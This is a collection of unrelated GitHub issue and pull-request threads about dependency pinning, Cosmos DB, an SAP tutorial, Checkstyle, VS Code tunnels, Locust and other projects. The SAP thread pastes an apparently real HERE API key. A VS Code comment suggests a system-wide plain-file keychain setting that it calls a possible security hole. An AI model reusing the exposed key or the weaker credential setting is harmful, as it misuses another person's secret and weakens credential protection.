Using this crate requires pinning kube-rs and k8s-openapi versions and the k8s-openapi v1_29 feature

I'm trying to use this crate in a project with more recent versions of kube-rs and k8s-openapi and it's proving pretty difficult because of pinned dependency versions. This looks like it was discussed and fixed in #2 and then regressed at some point (edit: looks like it changed in #30).
Long repro below, but I'd love to not have to worry about what versions of those dependencies this crate picks.

This is easy to reproduce in a brand new project, using the following main.rs.
#[tokio::main]
async fn main() {
    let client = kube::Client::try_default().await.unwrap();
    let api: kube::Api<gateway_api::apis::standard::httproutes::HTTPRoute> = kube::Api::all(client);
}

If I use my own version of those dependencies the types declared here don't implement Resource because of a version mismatch between the two versions of kube-rs and k8s-openapi getting pulled into the dependency graph:
[dependencies]
gateway-api = "0.10"
k8s-openapi = { version = "0.22", features = ["v1_29"] }
kube = { version = "0.92", features = ["runtime", "client", "derive"] }
tokio = { version = "1.38", features = ["full"] }

) $ cargo run
   Compiling kube-client v0.92.1
   Compiling kube-runtime v0.92.1
   Compiling kube v0.92.1
   Compiling api-gateway-example v0.1.0 (/Users/benl/src/scratch/api-gateway-example)
error[E0277]: the trait bound `gateway_api::apis::standard::httproutes::HTTPRoute: k8s_openapi::_resource::Metadata` is not satisfied
 --> src/main.rs:4:78
  |
4 |     let api: kube::Api<gateway_api::apis::standard::httproutes::HTTPRoute> = kube::Api::all(client);
  |                                                                              ^^^^^^^^^^^^^^^^^^^^^^ the trait `k8s_openapi::_resource::Metadata` is not implemented for `gateway_api::apis::standard::httproutes::HTTPRoute`, which is required by `gateway_api::apis::standard::httproutes::HTTPRoute: Resource`
  |
...

If I try to use a newer version of kube-rs, it pulls in a newer version of k8s-openapi on its own with no v1_* feature set, and fails to compile.
[dependencies]
gateway-api = "0.10"
k8s-openapi = { version = "0.21.1", features = ["v1_29"] }
kube = { version = "0.92", features = ["runtime", "client", "derive"] }
tokio = { version = "1.38", features = ["full"] }

error: failed to run custom build command for `k8s-openapi v0.22.0`

Caused by:
  process didn't exit successfully: `/Users/benl/src/scratch/api-gateway-example/target/debug/build/k8s-openapi-2ab36a4643e1e386/build-script-build` (exit status: 101)
  --- stdout
  cargo:rerun-if-env-changed=K8S_OPENAPI_ENABLED_VERSION

  --- stderr
  thread 'main' panicked at /Users/benl/.cargo/registry/src/index.crates.io-6f17d22bba15001f/k8s-openapi-0.22.0/build.rs:17:42:

  None of the v1_* features are enabled on the k8s-openapi crate.

  The k8s-openapi crate requires a feature to be enabled to indicate which version of Kubernetes it should support.
...

Finally, if I try to use exactly the versions of those libraries this dependency wants, I'm unable to use a version other than v1_29.
[dependencies]
gateway-api = "0.10"
k8s-openapi = { version = "0.21.1", features = ["v1_28"] }
kube = { version = "0.88.1", features = ["runtime", "client", "derive"] }
tokio = { version = "1.38", features = ["full"] }

$ cargo run
   Compiling k8s-openapi v0.21.1
error: failed to run custom build command for `k8s-openapi v0.21.1`

Caused by:
  process didn't exit successfully: `/Users/benl/src/scratch/api-gateway-example/target/debug/build/k8s-openapi-bc80d41dae7db53e/build-script-build` (exit status: 101)
  --- stdout
  cargo:rerun-if-env-changed=K8S_OPENAPI_ENABLED_VERSION

  --- stderr
  thread 'main' panicked at /Users/benl/.cargo/registry/src/index.crates.io-6f17d22bba15001f/k8s-openapi-0.21.1/build.rs:45:13:

  Both v1_28 and v1_29 features are enabled on the k8s-openapi crate. These feature indicates which version of Kubernetes the k8s-openapi crate should support. Only one feature can be enabled at the same time.

Thanks!

Thanks to @aryan9600 for putting in the PR, and thank you @blinsay for putting in the issue and letting us know we appreciate it :vulcan_salute:


Question on pattern to create item

[This page suggests that we read the cosmos document and if it does not exist, then create it. Is this the suggested pattern? What if we try to create the item as the first step and if it already exists, we can handle "Conflict" http status. Is there any difference in terms of Request Units consumed in either of these approaches?]

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 7cf376a4-4551-ef9d-f7dc-da6e8850398c
Version Independent ID: e5023416-823e-62bc-2c32-d6e829eead18
Content: Manage Azure Cosmos DB SQL API resources using .NET V4 SDK
Content Source: articles/cosmos-db/create-sql-api-dotnet-v4.md
Service: cosmos-db
Sub-service: cosmosdb-sql
GitHub Login: @anfeldma-ms
Microsoft Alias: anfeldma

@pradeep20mce We are checking this and will get back to you.

@pradeep20mce Can you please confirm if you are talking about the below class:
UpsertItemAsync - This method creates an item within the container if it doesn't already exist or replaces the item if it already exists.
Also can you elaborate the Conflict handling part that you talk about in your question to take this further.

@pradeep20mce Please help us with the above questions to take this forward.

@NavtejSaini-MSFT, I was referring to the CreateItemAsync, specifically the below code block in the page. This seems to be doing a ReadItemAsync and then if the item is not found, creating the item using CreateItemAsync. I'm trying to understand why the item creation has to be 2 step process.
Is there is downside of invoking CreateItemAsync without doing ReadItemAsync? If the item already exists, CreateItemAsync would throw HttpStatusCode.Conflict and that can be handled as needed.
try
    {
        // Read the item to see if it exists.
        ItemResponse<Family> andersenFamilyResponse = await container.**ReadItemAsync**<Family>(andersenFamily.Id, new PartitionKey(andersenFamily.LastName));
        Console.WriteLine("Item in database with id: {0} already exists\n", andersenFamilyResponse.Value.Id);
    }
    catch(CosmosException ex) when (ex.Status == (int)HttpStatusCode.NotFound)
    {
        // Create an item in the container representing the Andersen family. Note we provide the value of the partition key for this item, which is "Andersen"
        ItemResponse<Family> andersenFamilyResponse = await container.**CreateItemAsync**<Family>(andersenFamily, new PartitionKey(andersenFamily.LastName));

        // Note that after creating the item, we can access the body of the item with the Resource property off the ItemResponse.
        Console.WriteLine("Created item in database with id: {0}\n", andersenFamilyResponse.Value.Id);
    }

@pradeep20mce We are assigning this to our doc author for more insight.
@anfeldma-ms Please review the comment from @pradeep20mce  and provide your insight.

@pradeep20mce It depends on what you want to achieve. Instead of reading the item before creating, you can also use Upsert directly, which would create or update the document. But sometimes users don't want to update the existing items.
It is true that Reading and then Creating might consume more RUs than calling Create and handling the 409, The problem is that a 409 can also happen with a conflicting Unique Key. So you can get a 409 even though the Id does not exist, but if you have Unique Keys set with a conflicting property. So the 409 logic would not always mean the document exists.
So please choose the right option based on your workload & requirement.

We will close this issue now. If you have further questions, feel free to reopen.
#please-close


Hotfix/v1.12.1

Coverage increased (+0.07%) to 47.755% when pulling aeb3540e95cb7643dff73b88eeb84e2fca598d27 on hotfix/v1.12.1 into d422b4498d1e745f796123fade112e44b9e58339 on master.


add ovnext0 into ns create manually on gw node for ecmp static route with bfd

[x] Make sure you have followed Kube-OVN Code Style.

What type of this PR

Features
15-kube-ovn-ecmp-ovnext0.md

补充neutron 关于bfd的简要设计分析文档:
15-how-neutron-ovn-implement-bfd.md

需要补充基础的 e2e 用例，验证在启用和关闭配置时 ovn 里的配置正常


fix versions in python package requirements

Let fix the python package versions in the requirements list, at least, for now not to spend the time fighting with Travis builds failed because of xarray and other packages changes.
should fix #156

This didn't work either...
Apparently the only thing that works is removing xarray altogether, see #157
But I don't know if we want to do that.


fix the updatifier issue

fix the updatifier issue
Now there are two fields in PluginInfo class, one for @Updatifier and one for @Plugin annotations.
Closes #52

@hsyyid tell me if thats fine

@kinggoesgaming Nope, Updatifier checks github release tag instead of commit hash.

liach the final result ends up with checking from the releases as visible from the compiled class

My bad, that's right.

its ok it happens :wink:


Fix deprecated flag in Dockerfile

This pull request updates the Dockerfile to replace the deprecated flag "--no-dev" with "--only main" in the "poetry install" command.
This ensures that only the main dependencies are installed and not the dev dependencies.
Fix: #237

@Mai0313 thank you for the contribution!


Inspect and Test the API Proxy

Tutorial URL: https://developers.sap.com/tutorials/cp-apim-shoppingfresh-inspect-apiproxy.html
Please specify the step you are referring to Step 1: Inspect the API proxy
Part 5 - Make a service call out as a local target connection into the proxy path for the geocode API that we created. Replace the Path with /geocode.json that represents your API proxy path of the geocoding API.
The image shows me 3 parameters:
<ServiceCallout async="true" continueOnError="false" enabled="true" xmlns="http://www.sap.com/apimgmt">
	<Request>
	    <Set>
		<QueryParams>
		    <QueryParam name="street">{country}</QueryParam>
			<QueryParam name="street">{street}</QueryParam>
			<QueryParam name="city">{city}</QueryParam>
			<QueryParam name="app_id"></QueryParam>
			<QueryParam name="app_code"></QueryParam>
		</QueryParams>
		<Verb>GET</Verb>
		</Set>
	</Request>
	<Response>LatLongResponse</Response>
	<Timeout>30000</Timeout>
	<LocalTargetConnection>
		<Path>/p622138trial-trial.apim1.hanatrial.ondemand.com/p622138trial/6.2/geocode.json</Path>
	</LocalTargetConnection>
</ServiceCallout>

In the HERE.com I get App ID,  API Key and Access Key ID except for the app_id with ir equal for both, which one should I use in app_code field ?
When I run my page:
https://p622138trial-trial.apim1.hanatrial.ondemand.com/p622138trial/salesTrackerAPI/BusinessPartnerSet('0100000003') I'm getting the following error:
 {"fault":{"faultstring":"Execution of ServiceCallout CallGeocodingAPI failed. Reason: ResponseCode 404 is treated as error","detail":{"errorcode":"steps.servicecallout.ExecutionFailed"}}}
And there are 2 options in HERE.com, Javascript or REST, which one should I use ?
What am I doing wrong? Can you help me?
Thanks
Ivan

I have found 7 issues for this particular step of the tutorial and all of them decribing the same problem.
After spent hours of reasearch and a lot of frustration with this tutorial I was able to find what's happening:

The very first point in this whole step states "injects the Base64 encoded equivalent" with your user and password. At the contrary with some answers I've found for this issue, the user and password must be the same as you used when you setting up the API Provider (ES5 in my case).

The part 5 of this step shows the information about the CallGeocodingAPI. I removed the parameter app_id and the old and obsolete parameter app_code and replace them with appKey (doesn't matter if it the Javascript or the REST appKey, both will work). And finally , I was using the whole url at <path> tag. A minor issue: both country and street are using the same <QueryParam name="street">

<ServiceCallout async="true" continueOnError="false" enabled="true" xmlns="http://www.sap.com/apimgmt">
	<Request>
	    <Set>
		<QueryParams>
		    <QueryParam name="street">{country}</QueryParam>
			<QueryParam name="street">{street}</QueryParam>
			<QueryParam name="city">{city}</QueryParam>
			<QueryParam name="apiKey">QkrgClUqDpMowr_4cAtPSdTt5iETBQhsewFih48VonY</QueryParam>
		</QueryParams>
		<Verb>GET</Verb>
		</Set>
	</Request>
	<Response>LatLongResponse</Response>
	<Timeout>30000</Timeout>
	<LocalTargetConnection>
		<Path>/p622138trial/6.2/geocode.json</Path>
	</LocalTargetConnection>
</ServiceCallout>

Now, there is this thing that makes me really upset, the 1st issue for this problem was dated 06/2019, almost an year and the tutorial stills the same. We came here to study and to learn and this negligence with this fixes are disrespectful with the community who shares the desire for learning and growing up.
It doesn't reflect the view/image have about SAP. So it would be great if you fix it up.
Thanks
Ivan

Dear Colleague,
Thank for your feedback, apologies if there is a miss.
Let me clarify-
Point 1 -  the Base64 encoded equivalent of the user and password credentials for the backend.. This can be your ES5 or whatever you use. It is clearly mentioned and hence there is no correction required. For a few colleagues, they were not pasting the correct value and hence the error.
Point 2 - Here Map trial is evolving in terms of the UI and also scenes. Which SAP does not own.
You are right we should put a generic text because today it is appKey and tomorrow it may be applicationkey and so on. Added a generic text with the note-https://github.com/SAPDocuments/Tutorials/pull/5171
Regards
Shilpa


[DISCUSS] Introduce Checkstyle for code style checks

This contains two commits which introduce a) the Checkstyle plugin with a limited rule set to our Gradle build. b) code adjustments to comply with the rule set. Checkstyle checks run after compiling and are only applied for the main source code (no testing code checks). They are enforced because otherwise they are practicably useless (looking at the JavaDoc warnings..). The checks can be easily also integrated into IntelliJ.
Before this gets reviewed, I want to get some feedback from the CrateDB developers. Firstly, I'd like to know if they like to have to Checkstyle. Secondly, the rule set is by no means final. I've lifted the rule set quite a bit from the original Google style to require less code changes. For example, we might want to enforce a line limit of 120 or so, but I left that open for now. Also, we might want to check testing code as well in the future.
Let me know what you think.

Great! Sorry, the test failures are fixed.

Looks good!
What do you think about adding the declaration order check as well?
(we normally try to obey this anyhow) http://checkstyle.sourceforge.net/apidocs/com/puppycrawl/tools/checkstyle/checks/coding/DeclarationOrderCheck.html

I've taken a look at the line length and I see a lot of cases where we would increase readability by limiting the line length. Just to give an example:
On master:

With line length limit:

I suppose if started limiting the line we also would have to check for indention style used for parameter types, e.g. here it is the IntelliJ style.

@andreidan Good idea. Just tried it out. This could be a bit more invasive change at it touches many files and also reorders their contents (methods moving around): "Checkstyle found 543 item(s) in 225 file(s)" https://pastebin.com/LK2UVN34

@mxm Looks good! Imho I wouldn't strictly enforce the line length threshold.

@mxm Yeah, I'd say not to do apply the DeclarationOrder, just the ModifierOrder which you've already applied.

Codecov Report

:exclamation: No coverage uploaded for pull request base (master@2c90f82). Click here to learn what that means.
The diff coverage is 80.44%.

@@            Coverage Diff            @@
##             master    #6268   +/-   ##
=========================================
  Coverage          ?   83.25%
  Complexity        ?    12561
=========================================
  Files             ?     1452
  Lines             ?    47536
  Branches          ?     5826
=========================================
  Hits              ?    39577
  Misses            ?     5249
  Partials          ?     2710

Impacted Files
Coverage Δ
Complexity Δ

.../java/io/crate/metadata/pgcatalog/PgTypeTable.java
73.07% <ø> (ø)
3 <0> (?)

...ate/operation/aggregation/AggregationFunction.java
100% <ø> (ø)
1 <0> (?)

...crate/analyze/relations/AbstractTableRelation.java
81.17% <ø> (ø)
33 <0> (?)

...analyze/expressions/ExpressionToNumberVisitor.java
60.6% <ø> (ø)
10 <0> (?)

...tor/transport/kill/TransportKillAllNodeAction.java
75% <ø> (ø)
2 <0> (?)

.../java/io/crate/analyze/CreateSnapshotAnalyzer.java
96.07% <ø> (ø)
12 <0> (?)

...crate/executor/transport/FirstColumnConsumers.java
81.48% <ø> (ø)
2 <0> (?)

...va/io/crate/operation/projectors/DMLProjector.java
100% <ø> (ø)
3 <0> (?)

blob/src/main/java/io/crate/plugin/BlobPlugin.java
62.5% <ø> (ø)
5 <0> (?)

...ate/operation/projectors/IndexWriterProjector.java
81.25% <ø> (ø)
5 <0> (?)

... and 266 more

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 2c90f82...89e4399. Read the comment docs.

Rebased the PR to the latest master after #6256 had been merged. Will merge later if there are no further comments.

@mxm don't forget to squash last commit (changes after rebase)

@matriv I will squash all the commits (=just have one commit) since introducing the Checkstyle and then doing the style changes would break the first commit. I split up the commits to ease reviewing.


NodeJs Support Installation on PHP-fpm

I have a laravel project require to execute node command line directly
Is that possible to include in Php-fpm engine for node command ?
Or maybe to extend the php-fpm service Dockerfile but still able to updating in the future from git
Currently, I just copy the Dockerfile and create new build directory, means in the future cannot get update from git

Hello @xicond how did it finally? I need to execute a node command inside a Laravel Class and when I do new Process(['which', 'node]) I get ''
Thanks!

Finally fix with #1789


Terminal is not active when reloading page

When the terminal is loaded a second time on the home page, there is no prompt. In other projects there is the prompt.
It could be useful to focus when tooggling.

Fixed on #28


Specto shows no sources for Banged Up Abroad

I was hoping someone could explain why Specto can't find sources for some TV shows while Exodus does. I have had this happen for a number of shows but I will use "Banged Up Abroad" as my example. Specto finds sources for some of the episodes in the two most recent seasons, but if you go back further than that , it will be no sources found all around, while Exodus will find two or more working sources for most episodes going back as far as the first season even.

Maybe I should have worded this differently. Maybe my question should be how can I get Specto to find these sources also? So I can remain in my favorite add-on without having to go in and out of other add-ons?

I would like to add another TV show that strangely comes up "no sources". "Mayday" is the show. A fairly popular show that is in production to this day. I just don't understand it. Exodus pulls up sources but Specto doesn't. And the sources look very familiar, so it's weird Specto doesn't pull them up.

Could someone at least tell me if it's the same for them? That would be a start. Thanks.

Okay, well I'm going to leave this issue open as long as you're willing to leave it open MrKnow. Sooner or later someone who has been wondering about the same thing  and may have some answers. Peace for now.

@BankruptEd  I have the same issue with various TV shows that begin with "Tiny House" but they work in Exodus.  Like "Tiny House Nation", "Tiny House Builders", etc.  I'm hoping the next URLResolver script fixes them.

I check it out today

It works for me https://www.youtube.com/watch?v=S4vUxKwSPng&feature=youtu.be
I have Specto 2<IP_ADDRESS>
Right now you must wait for update, about 30 minutes.
My servers are now loaded to 100%
filmkodi_cdn.pdf

I haven't checked all the shows I had issues with but Mayday which was one
of the two shows I mentioned here is showing me several working sources
now. I'm fairly certain this will be the case for the others as well.
Thanks MrKnow, I appreciate you having looked into this.
On Oct 22, 2016 9:30 PM, "MrKnow"<EMAIL_ADDRESS>wrote:

It works for me https://www.youtube.com/watch?
v=S4vUxKwSPng&feature=youtu.be
I have Specto 2<IP_ADDRESS>
Right now you must wait for update, about 30 minutes.
My servers are now loaded to 100%
filmkodi_cdn.pdf
https://github.com/mrknow/filmkodi/files/546126/filmkodi_cdn.pdf
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/mrknow/filmkodi/issues/525#issuecomment-255564120,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AUPc7JbQG-rC_eJIL75K60AgMaxJito_ks5q2rjSgaJpZM4KcK-f
.

Hope so. Much better to have it all in Specto. Thanks for replying.
On Oct 22, 2016 2:49 PM, "willowz"<EMAIL_ADDRESS>wrote:

@BankruptEd https://github.com/BankruptEd I have the same issue with
various TV shows that begin with "Tiny House" but they work in Exodus. Like
"Tiny House Nation", "Tiny House Builders", etc. I'm hoping the next
URLResolver script fixes them.
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/mrknow/filmkodi/issues/525#issuecomment-255546595,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AUPc7HJSg9T1RVYx4-eWTOh-2XQakhfsks5q2lq7gaJpZM4KcK-f
.

Is there a way you make money doing this? Donations maybe? Just seems like
you have to put in a hell of a lot of work. Or is this strictly a labor of
love?

I have another show that I can only find sources for on Exodus. The show is Explorer (National Geographic show) Probably nothing can be done about it, just putting it out there. Peace.


[DOC] Add MWE to 4 functions

Add MWE docstring for functions/change_type.py, functions/coalesce.py, functions/collapse_levels.py, and functions/filter.py
Related to #972 .

🚀 Deployed on https://deploy-preview-989--pyjanitor.netlify.app

I'm not quite sure why code coverage decreased in files that I didn't touch 😅


Remove widget tests from CI-notebook pipeline

Remove widget tests from CI-notebook pipeline
Description
Remove widget tests from CI-notebook pipeline as it is already present in ci-raiwidgets-python-typescript pipeline
Areas changed

npm packages changed:

[ ] responsibleai/causality
[ ] responsibleai/core-ui
[ ] responsibleai/counterfactuals
[ ] responsibleai/dataset-explorer
[ ] responsibleai/fairness
[ ] responsibleai/interpret
[ ] responsibleai/localization
[ ] responsibleai/mlchartlib
[ ] responsibleai/model-assessment

Python packages changed:

[ ] raiwidgets
[ ] responsibleai
[ ] erroranalysis
[ ] rai_core_flask

Tests

[ ] No new tests required.
[ ] New tests for the added feature are part of this PR.
[ ] I validated the changes manually.

Screenshots (if appropriate):
Documentation:

[ ] My change requires a change to the documentation.
[ ] I have updated the documentation accordingly.

Codecov Report

Merging #1213 (48ca04f) into main (29ed9fc) will increase coverage by 8.63%.
The diff coverage is n/a.

@@            Coverage Diff             @@
##             main    #1213      +/-   ##
==========================================
+ Coverage   66.94%   75.58%   +8.63%
==========================================
  Files          91       10      -81
  Lines        4359      258    -4101
==========================================
- Hits         2918      195    -2723
+ Misses       1441       63    -1378

Flag
Coverage Δ

unittests
75.58% <ø> (+8.63%)
:arrow_up:

Flags with carried forward coverage won't be shown. Click here to find out more.

Impacted Files
Coverage Δ

...onsibleai/_tools/shared/attribute_serialization.py

...bleai/responsibleai/_managers/explainer_manager.py

responsibleai/responsibleai/_input_processing.py

...idgets/raiwidgets/responsibleai_dashboard_input.py

erroranalysis/erroranalysis/report/error_report.py

raiwidgets/raiwidgets/_cohort.py

responsibleai/responsibleai/_config/base_config.py

...ranalysis/erroranalysis/_internal/cohort_filter.py

erroranalysis/erroranalysis/__init__.py

...ponsibleai/responsibleai/_tools/shared/versions.py

... and 71 more

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 29ed9fc...48ca04f. Read the comment docs.


VSCode keeps asking for GitHub authentication due to fault in keyring credential update

Does this issue occur when all extensions are disabled?: Not sure. I run "code tunnel" without opening the UI.

VS Code Version: 1.80.0
OS Version: Ubuntu 22.04 LTS

Steps to Reproduce:

Install VSCode or Code Cli on Ubuntu Desktop 22.04
Run "code tunnel" on Ubuntu.
Accept server license terms and login to https://github.com/login/device and enter the code.
VSCode tunnel will show: [warn] Failed to update keyring with new credentials: error updating keyring: Couldn't access platform secure storage: SS error: result not returned from SS API .
Quit VSCode tunnel and rerun "code tunnel". It will ask for GitHub authentication again, because it failed to update keyring.

Seems to duplicate the upstream issue on https://github.com/hwchen/keyring-rs/issues/133
To work around this, you can set the environment variable VSCODE_CLI_USE_FILE_KEYCHAIN=1 (e.g. by running echo "export VSCODE_CLI_USE_FILE_KEYCHAIN=1" >> ~/.bashrc and reconnecting).
But this seems fairly common, we should automatically use a file keychain if we get this error.

yes,

But this seems fairly common, we should automatically use a file keychain if we get this error

This bug has been fixed in the latest release of VS Code Insiders!
@wswxyq, you can help us out by commenting /verified if things are now working as expected.
If things still don't seem right, please ensure you're on version e8b1e2bea88d34a813405a176148dd9fd17cbb1f of Insiders (today's or later - you can use Help: About in the command palette to check), and leave a comment letting us know what isn't working as expected.
Happy Coding!

Putting VSCODE_CLI_USE_FILE_KEYCHAIN=1 in a new line in /etc/environment does the trick for me. (putting the env var in a global file ensures that it will be defined regardless of where it's running or who is running it; note that on some systems this may be a massive security hole)

I now see this in insiders:

[2023-08-31 17:36:07] debug Using file keychain storage due to: error reading keyring: Platform secure storage failure: zbus error: org.freedesktop.DBus.Error.ServiceUnknown: The name org.freedesktop.secrets was not provided by any .service files

looks verified to me.


Prevent multiple ssh public keys being concatenated. Also precent ssh…

… debug flag from gettig suffixed to existing keys
UpdateSshAuthorizedKeys function should either program the public key coming from cloud or the public key written to /config/authorized_keys, not both.
We already write new keys to a new tmp file and then rename it to /run/authorized_keys. So we do not write multiple keys to authorized_keys at the same time, unless /config/authorized_keys has multiple keys or configuration from cloud has multiple concatenated keys.
Next we should see how the true/false values for debug.enable.ssh should be handled.
Signed-off-by: gkodali-zededa<EMAIL_ADDRESS>

After discussion with Erik, we have a different plan. Closing this PR for now.


[BUG] [youtube_player_iframe 2.2.2] Controller value isFullscreen is always false

Describe the bug
Controller value isFullscreen returns always false as outside builder as inside whenever player is in fullscreen or not
To Reproduce
Open example app and enter fullscren
Expected behavior
A value isFullscreen in YoutubeValueBuilder should return true when entering fullscreen after rotate or by tapping on fs button
Technical Details:

Device: [Huawei P30 Pro]
OS: [Android 10]
Version Plugin [2.2.2]
Version Flutter [2.2.3]

Additional context
I'm trying to add logic in WillPopScope when user will try backpress on Android then I'll return false but invokeJava script to extiFullscreen but I need to know when fullscreen is opened or not

just use inside YoutubePlayerBuilder
YoutubePlayerBuilder(
      onExitFullScreen: () {
        SystemChrome.setPreferredOrientations(DeviceOrientation.values);
      },
      onEnterFullScreen: () {
        SystemChrome.setPreferredOrientations(
            [DeviceOrientation.landscapeRight]);
      },
)

It will provide bottle neck for user. He's only chance would be to tap on fullScreen button to enable fullScreen. I've already solved my problem with this by adding my own logic above YoutubePlayerController to close fullScreen manually.
User agent is not provided to the bottom layers, so YoutubePlayerIframe has same behavior as on the Youtube page in mobile phone.
My goal was to achieve same behavior, so user when rotating phone will open fullScreen on roration to PortraitMode will exitFullscreen with code below:
extension YoutubePlayerExtension on YoutubePlayerController {
  Future<void> closeFullscreen() =>
      invokeJavascript(JavaScripts.exitFullScreen);
}

where JavaScripts.exitFullscreen is const String:
static const String exitFullScreen = 'document.exitFullscreen()';
Haven't solved problem with this bug. YoutubePlayerIframe still returns false all the time on variable isFullscreen.
I've adopted own logic with own isFullscreen so when user rotate phone to landpsaceMode isFullscreen will be true.
After he taps on fullScreenButton he will also get to fullScreen mode but I won't enforce screen to landscape because that would cause user to rotate phone, but if he's intensions is not to rotate screen but watch fullScreen in PortraitMode I would deprive user of choice.

Got the same issue. The value of isFullScreen is always false when watching in fullscreen.


No timescale support

I'm using following packages:
locust==2.31.6
locust-plugins==4.5.3
locust-swarm==6.1.1
When starting swarm like this swarm -f <script_path> --loadgen-list <loadgen> --processes <process_count> --timescale ... I've noticed that worker nodes doesn't report data to timescale DB.
As far as I understand this happens because timescale plugin enabled in this handler https://github.com/SvenskaSpel/locust-plugins/blob/4.5.3/locust_plugins/init.py#L164, called when init event fired (from here https://github.com/locustio/locust/blob/2.31.6/locust/main.py#L525) and at this point --timescale parameter is not passed yet to worker node. Actual configuration copied from master to worker node at receiving spawn event happening here (https://github.com/locustio/locust/blob/2.31.6/locust/main.py#L616-L627).
Unfortunately plugins are not re-initialized after worker's configuration has updated so timescale plugin is not enabled.
I've seen two possible solutions here:

Ugly workaround I've made timescale.patch.
Re-initialize plugins after configuration is synced between master<>node. Unfortunately doing this requires much more locust's architecture knowledge that I posses.

I'm not actively maintaining this repo any more - I'm actually working with Locust Cloud  now. It kind of solves Locust distribution and reporting but as-a-Service...
If you can make a very focused PR that solves this I can merge it but that's about all the time I have...

Please consider https://github.com/SvenskaSpel/locust-swarm/pull/24 for review.


no motion blur for particles, shadows cast from wrong direction, instance object crash.

this illustrates the problem. after seeing a render of blobby particle type with motion blur i tried to duplicate and encountered these issues.  the particles are moving at approximately the same speed as the cube.
Also illustrated in this scene, the sun's shadows are being cast from what appears to me to be a -180 Z rotation in relation to the light in the scene.
and finally, if i select object as the particle type blender throws an error and will exit without any warnings upon next render attempt.  the error is as follows:
'
Info: Texture generation took 00:00:00
Error: Rib gen error: Traceback (most recent call last):
File "C:\Users\hunter\AppData\Roaming\Blender Foundation\Blender\2.75\scripts\addons\PRMan-for-Blender-master\engine.py", line 112, in update
engine.render_pass.gen_rib(engine=engine)
File "C:\Users\hunter\AppData\Roaming\Blender Foundation\Blender\2.75\scripts\addons\PRMan-for-Blender-master\engine.py", line 540, in gen_rib
write_rib(self, self.scene, self.ri)
File "C:\Users\hunter\AppData\Roaming\Blender Foundation\Blender\2.75\scripts\addons\PRMan-for-Blender-master\export.py", line 2351, in write_rib
export_data_archives(ri, scene, rpass, data_blocks)
File "C:\Users\hunter\AppData\Roaming\Blender Foundation\Blender\2.75\scripts\addons\PRMan-for-Blender-master\export.py", line 1669, in export_data_
archives
export_particle_archive(ri, scene, db)
File "C:\Users\hunter\AppData\Roaming\Blender Foundation\Blender\2.75\scripts\addons\PRMan-for-Blender-master\export.py", line 1808, in export_parti
cle_archive
export_particle_system(ri, scene, ob, psys, data=data)
File "C:\Users\hunter\AppData\Roaming\Blender Foundation\Blender\2.75\scripts\addons\PRMan-for-Blender-master\export.py", line 1318, in export_parti
cle_system
export_particles(ri, scene, ob, psys, data)
File "C:\Users\hunter\AppData\Roaming\Blender Foundation\Blender\2.75\scripts\addons\PRMan-for-Blender-master\export.py", line 906, in export_partic
les
ri, scene, psys, ob, points, type=rm.particle_type)
File "C:\Users\hunter\AppData\Roaming\Blender Foundation\Blender\2.75\scripts\addons\PRMan-for-Blender-master\export.py", line 834, in export_partic
le_instances
relative=True)
File "C:\Users\hunter\AppData\Roaming\Blender Foundation\Blender\2.75\scripts\addons\PRMan-for-Blender-master\export.py", line 1711, in get_archive_
filename
path = rpass.paths['frame_archives'] if animated
AttributeError: 'NoneType' object has no attribute 'paths'
Info: PRMan: Done Rendering. (elapsed time: 00:00:00)
'
I hope these are easily sorted out.
Thanks again for the Killer Addon!

Can you attach that scene?

I had to re-create the problem scene. unfortunately, it seems i can only attach image files here so I uploaded it to dropbox.
https://www.dropbox.com/s/do9y6d8pyjm7kfi/issue.blend?dl=0
I was unable to reproduce the reversed light direction this time, but i'll have another look later tonight.

I fixed the crash.  Not sure whats going on with the MB though.... there's no anim data on the plane emitter or the psys.

Should be fixed.


Sign up and login

In this PR i did

finish sign up, sign in and sign out logic with their styles
apply left and right scroll feature to my Items list page

[[# STATUS: APPROVED :green_circle: :clap:
Hello @fithamlak,
Your milestone is complete!  There is nothing else to say other than... it's time to merge it :shipit:  a.
Congratulations! 🎉  Keep up the good work 🥂
HIGHLIGHTS:

[x]  Your PR is professional  😎
[x] Descriptive P.R 💯
[x] No linter errors

Now you can merge this branch and move on :1st_place_medal:
Happy Coding cheers 🥇 💯

Every comment with the [OPTIONAL] prefix is not crucial enough to stop the approval of this PR. However, I strongly recommend you to take them into account as they can make your code better.
Feel free to leave any questions or comments in the PR thread if something is not 100% clear.
Please, remember to tag me in your question so I can receive the notification.

As described in the Code reviews limits policy  you have a limited number of reviews per project (check the exact number in your Dashboard). If you think that the code review was not fair, you can request a second opinion using this form.]]


Compression for PercentilesAggregation not working.

Please use the following questions as a guideline to help me answer
your issue/question without further inquiry. Thank you.
Which version of Elastic are you using?
[ ] elastic.v6 (for Elasticsearch 6.x)
[X] elastic.v5 (for Elasticsearch 5.x) (5.6.14)
[ ] elastic.v3 (for Elasticsearch 2.x)
[ ] elastic.v2 (for Elasticsearch 1.x)
Please describe the expected behavior
When adding .Compression(10) to a Percentiles Aggregation, the compression gets added correctly to the ES aggregation.  The documentation described here (https://www.elastic.co/guide/en/elasticsearch/reference/5.6/search-aggregations-metrics-percentile-aggregation.html#search-aggregations-metrics-percentile-aggregation-compression) says to add compression, the query needs
"percentiles" : {
   "field" : "load_time",
   "tdigest": {
      "compression" : 200
   }
}

Please describe the actual behavior
Compression is being added to the query as:
"percentiles" : {
   "field" : "load_time",
   "compression" : 200
}

Resulting in the error "Error 400 (Bad Request): [percentiles] unknown field [compression]"
Any steps to reproduce the behavior?
NewPercentilesAggregation().Field("load_time").Percentiles(20).Percentiles(80).Compression(10)

Yes, this seems like a bug. Thanks for reporting.
This seems wrong. It should be generated like this (v6) and like this for v5.

This should be handled correctly in 6.2.17 and 5.0.80.


Publish sfizz_render linux/mac/win binaries to GitHub releases

Background
I'm working on automating SFZ releases using GitHub workflows:
https://github.com/studiorack/salamander-grand-piano/blob/master/.github/workflows/release.yml
